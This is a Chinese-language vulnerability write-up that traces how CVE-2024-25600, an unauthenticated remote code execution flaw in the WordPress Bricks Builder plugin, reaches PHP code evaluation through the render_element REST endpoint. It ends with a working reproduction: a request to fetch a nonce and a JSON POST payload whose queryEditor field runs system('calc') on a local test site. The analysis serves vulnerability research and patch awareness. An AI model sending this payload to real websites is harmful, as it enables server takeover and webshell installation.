本次代码审计项目为PHP语言,我将继续以漏洞挖掘者的视角来分析漏洞的产生,调用与利用.....
前方高能,小伙伴们要真正仔细看咯.....
漏洞简介
CVE-2024-25600 是一个严重的(CVSS 评分 9.8)远程代码执行 (RCE) 漏洞,影响 WordPress 的 Bricks Builder 插件。成功利用此漏洞可能允许未经身份验证的攻击者在受影响的基于 WordPress 的网站上远程执行任意 PHP 代码。据报道,该漏洞已被广泛利用,包括尝试在易受攻击的服务器上安装基于 PHP 的恶意 Webshell。Bricks Builder 插件版本 1.9.6.1 或更高版本中已发布解决此漏洞的补丁。
Bricks Builder官方 Bricks – Visual Site Builder for WordPress
Bricks Builder官方参考文档Getting Started – Bricks Academy
漏洞官方公告Bricks 1.9.6.1 Changelog – Bricks
漏洞分析
先看触发漏洞的代码函数
位于\wp-content\themes\bricks\includes\query.php中346行
这段代码被涉及用来执行用户提交的 PHP 代码并返回执行结果
既然这样,就很大概率能够触发rce
向上分析参数是如何传递的,先分析参数$php_query_raw
$php_query_raw由bricks_render_dynamic_data( $query_vars['queryEditor'], $post_id );得到
可以追入bricks_render_dynamic_data 查看是否对数据进行了过滤处理
追入render_content方法
代码功底好的小伙伴 可以逐行分析下....
回到query.php 337行分析 $query_vars['queryEditor']参数的传递
$query_vars由传入的形参得来。右键find usages 找到调用这个方法(prepare_query_vars_from_settings)被调用的地方
优先考虑__construct方法,该方法会在实例化类时自动执行
在调用方法的代码行111行,向上分析
要想成功调用prepare_query_vars_from_settings方法成功需要
1.在element参数下setting参数下的query参数下,要有参数objectType
2.进入else语句块,$element['id']为空即可 (即不考虑这个参数)
3.在element参数下setting参数下的query参数下,设置参数queryEditor为我们rce代码
4.在element参数下setting参数下的query参数下,要有参数useQueryEditor
那么接下来继续向上分析方法调用(__construct方法的被调用)
逐个进行分析,要分析函数传递的参数是否为我们可控.....
我查看了render_data与render_elemet这两个方法似乎都不太行,但是在分析render_elemet这个方法得到看意外的收获。
....
来到ajax.php中该类在297行,有实例化l类 Query
向上分析参数的调用,重点参数$loop_elemet
在273行与289行之间 似乎时设置了ajax与rest api这两种请求方式。非ajax请求
element参数下没有参数loopElement,$loop_elemet将被置为false
296行的if语句也将为假,这里 new Query是执行不了的。那继续向下看吧,看看有什么线索
$element_class_name将是Element_Container类
在322行我们可以实例化对象, 不过只能对特定的类进行实例化
类似于白名单,我们只能对如下的类进行实例化
假如我们在参数element下设置了name=container,则会实例化Container类,(之前在查找__construct方法时有Container类这个结果,所有要对这个类非常的敏感)
先不急找调用者,分析element成员是否我们可控的
在ajax.php中render_element函数中,$element变量是我们可控的,在322行代码将这个变量赋予了实例化container类
分析下的它的构造函数
,跟入类Container的__construct 魔术方法(在继承的父类)
分析它对传入的$element做了什么处理。上图赋予了此类的的element变量,这也是我们想要看到的。
接下来就可以分析container类render方法的调用了
我们发现base类init方法调用了render方法(继承关系container可以调用此方法)
继续分析render_element函数对container对象又执行了那些操作,
container对象调用了init方法 这就使得我的RCE代码执行成功!
漏洞复现
先获取下nonce值
GET /WordPress-6.4.3/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 Connection: close Accept-Encoding: gzip, deflate, br
发送payload
POST /WordPress-6.4.3/wp-json/bricks/v1/render_element HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 Connection: close Content-Length: 270 Content-Type: application/json Accept-Encoding: gzip, deflate, br { "postId": "1", "nonce": "b5b275220f", "element": { "name": "container", "settings": { "hasLoop": "", "query": { "useQueryEditor": "", "queryEditor": "system('calc');", "objectType": "" } } } }